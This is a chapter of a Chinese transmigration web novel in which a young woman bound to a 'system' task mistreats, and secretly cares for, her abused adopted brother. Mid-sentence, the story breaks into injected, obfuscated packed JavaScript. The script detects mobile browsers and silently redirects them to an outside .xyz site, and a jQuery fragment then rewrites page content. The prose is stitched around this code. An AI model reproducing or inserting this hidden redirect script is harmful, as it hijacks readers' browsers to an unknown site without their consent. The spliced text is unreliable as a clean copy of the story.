楼上有脚步声传来,宋攸宁抬头看去,季斯允换好衣服正从楼上下来。
原主伪善得很,表面上收养季斯允给他提供优渥生活,私底下却对他百般折磨。
无论多炎热的天气,季斯允总是将扣子系到最高那颗,因为只要解开衣襟,就无法遮住底下伤痕累累的身躯。
刚刚病愈的青年身量高挑清瘦,碎发下的眉眼阴郁,肤色过分苍白,偏唇又是嫣红的,看起来有种妖冶的破碎感。
啧啧啧,原主可真不是个东西。
长这么好看也下得了手,简直是暴殄天物。
宋攸宁坐在沙发上,仰头望着季斯允,朝他伸出手指勾了勾。
“过来。”
青年快步走过来,垂着手低眉顺眼站在她面前,等着她发话。
要对他坏,又不能太坏,做得太过惹怒他被提前下线的话任务就失败了。
他个子高,宋攸宁仰着头去看得有点累,骄气的少女很快便皱起好看的眉头,线条圆润的杏仁眼升起几分怒气。
她抬脚便踢了他小腿一下,“站那么高干嘛,蹲下来!”
说是踢,可她那样小的力气,一点也不疼。小腿像是被她轻轻蹭过一般,又酥又麻,季斯允几乎是瞬间便单膝跪在她脚边,目不转睛盯着她那只刚刚才碰过他的小巧白嫩的脚丫。
他咽了咽口水,拿起宋攸宁踢在一边的拖鞋:“大小姐,天气凉,我帮您把鞋穿上吧。”
宋攸宁斜睨过去,季斯允低着头,浓密睫毛遮住他的眼让她看不清他的视线,她半倚在沙发上,朝他抬起脚。
现实世界里,二十几年的人生循规蹈矩克己复礼,从来没有一天放松过。
如今穿书了,她也要体验一把衣来伸手饭来张口的神仙日子。
伸到面前的白嫩脚丫娇小秀美,脚踝纤细,脚背微微隆起,脚趾圆润。
大小姐的脚也好漂亮,好喜欢。
季斯允忍住想要亲上去的欲望,大手握住她纤细的脚踝,一只手拿起拖鞋准备帮她穿上,眼尖地发现手中的白皙脚背上突兀的有一块微微泛红。
他眼皮微微颤动,低着头,动作轻柔,语调平静:“大小姐,我皮糙肉厚,您惩罚我的时候,可以用工具,别弄伤自己。”
宋攸宁眼神里多了点诧异,几秒后突然勾了勾嘴角。
“知道了。”
脑海里的系统说能量不足又匆匆下线,接下来的任务全靠她自由发挥。那个系统一问三不知的不太靠谱,可如今身不由己,她也只能走一步看一步先这样下去。
宋攸宁眯着眼睨着跪在她脚边给她穿鞋的漂亮青年——欺辱人的方式有很多种,原主偏偏选了最粗暴的方式。
昨天对季斯允说的话可不是假话,她宋攸宁的确算不上什么好人。
也许比起原主唯一好一点的,就是她还算遵纪守法,不太喜欢使用暴力。
……
宋攸宁穿过来的时间,她和季斯允已经大二。原主人品不行,成绩还不错,沾着季斯允高考状元的光,一起进了顶尖学府同一专业。
已经读过一次大学的宋攸宁可没想继续重温校园生活,再过两个月,就是她二十岁的生日。距离季斯允二十四岁,也就是她下线的日子,还有四年。
现实世界那是被迫勤奋,她又不是天生的牛马,假期就这四年,她要好好享受。
课,要上。
作业,不做。
反正有季斯允,她可是资本家,现成的劳动力,不用白不用。
周一。
宋攸宁一早起来就没见到季斯允,吃过早餐后问阿姨:“季斯允人呢?”
“他啊,五点多就走了吧。”阿姨撇撇嘴,语气习以为常:“毕竟咱们这距离学校还挺远的,他骑车过去可不得早点出发。”
“?”
宋攸宁掏出手机查看地图——骑车大约需要三个小时。
宋家是没车了吗?
宋攸宁再次默念:原主可真不是个东西!
餐桌上的食物丰富到她每样只尝一口就已经饱了,宋攸宁优雅地擦着嘴,漫不经心问道: “他吃过了吗?”
阿姨立即露出嫌弃的表情:“那么早,小姐的早餐我都还没准备呢。”
想起这几天吃饭也不见他一起,加上仆人们对他轻蔑的态度,宋攸宁估计季斯允这个养子在宋家根本没有地位可言。
她叹口气,对阿姨说:“给我打包一份早餐。”
宋攸宁到教室时,季斯允在第三排坐好,她大摇大摆走到他旁边,昂着下巴吩咐道:“坐进去点。”
季斯允没吭声,沉默地往里挪了一个位置。
宋小姐在外面不会表露出对他的刻薄,但也不会允许他靠近,更别说主动跟他坐在一起。
在她看不见的角度,微长的刘海有些遮住季斯允精致的眉眼,他看向她的眼神阴森森地带着探寻,在她转过来时眼神又瞬间变得乖顺。
“啪”,蓝色的饭盒被她丢在季斯允桌上,宋攸宁看着自己手指上被勒出的红痕,语气骄纵:“路上买的,难吃,赏给你了。”
季斯允定定看了她几秒才动手掀开盖子,热腾腾的包子散发出诱人的香气。
已经好几顿没吃饭的季斯允都快忘记自己很饿这件事,食物的香气进入鼻腔,肚子立马“咕”的叫起来。
口腔迅速分泌出口水,季斯允看着饭盒里干干净净的食物几乎无法相信——不是被吃剩下的骨头,也不是发馊的剩饭。
漂亮青年垂着眼对着饭盒发呆,宋攸宁从包里又摸出一个保温杯放在桌上推过去,她表情似乎很不耐烦:“出门时陈姨非要给我带杯牛奶,最讨厌牛奶了,你喝。”
宽大的手掌接过杯子,季斯允大多时候都寡言少语,这时也同样沉默,只是那双眼黑沉沉的盯着她,看得宋攸宁有些不自在。
“你别自作多情,这都是我吃剩下的东西。”她着重强调,“要不是觉得浪费粮食,我才不给你。这么难吃的东西,也就只有你这种人才吃得下去。”
“嗯。”季斯允声音一贯的低哑,“我这样的人,只配吃大小姐的剩菜。”
“……”对方平静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850004|175807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的语气让宋攸宁无话可说,索性拿出书趴在桌面上等着上课。
饿得太久的胃已经在抽疼,季斯允瞥向趴在旁边桌上的后脑勺,打开保温杯盖子轻轻抿了一口。
香浓的奶香在嘴里蔓延,温热的液体滑进食道,安抚正在抗议的胃。
家里的仆人捧高踩低对他从来都是冷眼相对,可从来没人敢忘记宋家小姐的任何喜好和禁忌,比如——宋小姐她乳糖不耐受。
大学里,老师不会管学生有没有认真听课,宋攸宁趴在桌子上竟然睡着了,等她醒来,教室里的人只剩下她和季斯允两人。
宋攸宁坐起身,发现自己身上不知何时被披上了一件黑色外套,转头看向坐在一旁的季斯允,他穿着白衬衫,安安静静看着书。
十一月的天气已经冷起来,这人把外套脱给她,自己穿那么单薄……
宋攸宁站起来,故意将披在身上的外套扯在地上,对着他横眉立目:“谁准你把你穿过的脏衣服给我的。”
季斯允依旧是沉默寡言的模样,精致的面容,过分苍白的皮肤,黑沉沉的眸子盯着宋攸宁,缓缓开口:“抱歉,大小姐,我怕你冷。”
“不需要。”宋攸宁摸着自己身上暖和的昂贵外衣,对掉在地上的廉价外套面露嫌弃:“那么差的布料也配放在我身上?”
好心被她当作驴肝肺,对方也只是好脾气的垂下眼睛,向她道歉:“对不起。”
季斯允眼皮低垂下来,乌泱泱的睫羽打在眼下,看起来一副很好欺负的模样。
懂事以后就知道利益至上的宋攸宁即便是为了完成任务,也对他感到一丝愧疚。
她欲盖弥彰的咳嗽一声,“中午了,还不快去食堂给我打饭。”
季斯允静静看着她,朝她绽放出一抹轻笑,“我马上去。”
他捡起地上的衣服,黑色的外套上沾染上灰尘,拍了好几下也拍不干净,季斯允面不改色就准备穿上还有明显污渍的衣服。
“衣服脏了……”宋攸宁下意识开口。
他的动作突然停下,朝她浅浅笑道:“没关系,我也很脏。”
似乎是怕她嫌弃他穿着脏衣服帮她打饭,季斯允顿了顿,继续道:“大小姐嫌脏的话,我不穿了。”
宋攸宁这才反应过来,看季斯允平静的真就准备穿着一件单薄衬衣过一天,她连忙抢过他叠起的外套。
手中的衣物被她拿走,季斯允愣了片刻,低声对她说:“大小姐,能不能别扔,洗洗还能穿的。”
他下垂的眼尾微微发红,看起来可怜巴巴的,声音有些颤抖:“我只有这一件厚外套。”
厚?
宋攸宁低头看向手里洗得有些发白的衣服,捻了捻手中布料,怎么也联系不到厚这个字上去。
再看向季斯允,在误以为自己要扔掉这件衣服的情况下,对方眼神不舍,却强忍着没有动作,只静静站在原地等她的动作。
她沉默片刻,将衣服摊开披在他身上,“你穿吧。”
多漂亮的小可怜啊。
宋攸宁没忍住摸了摸他的头。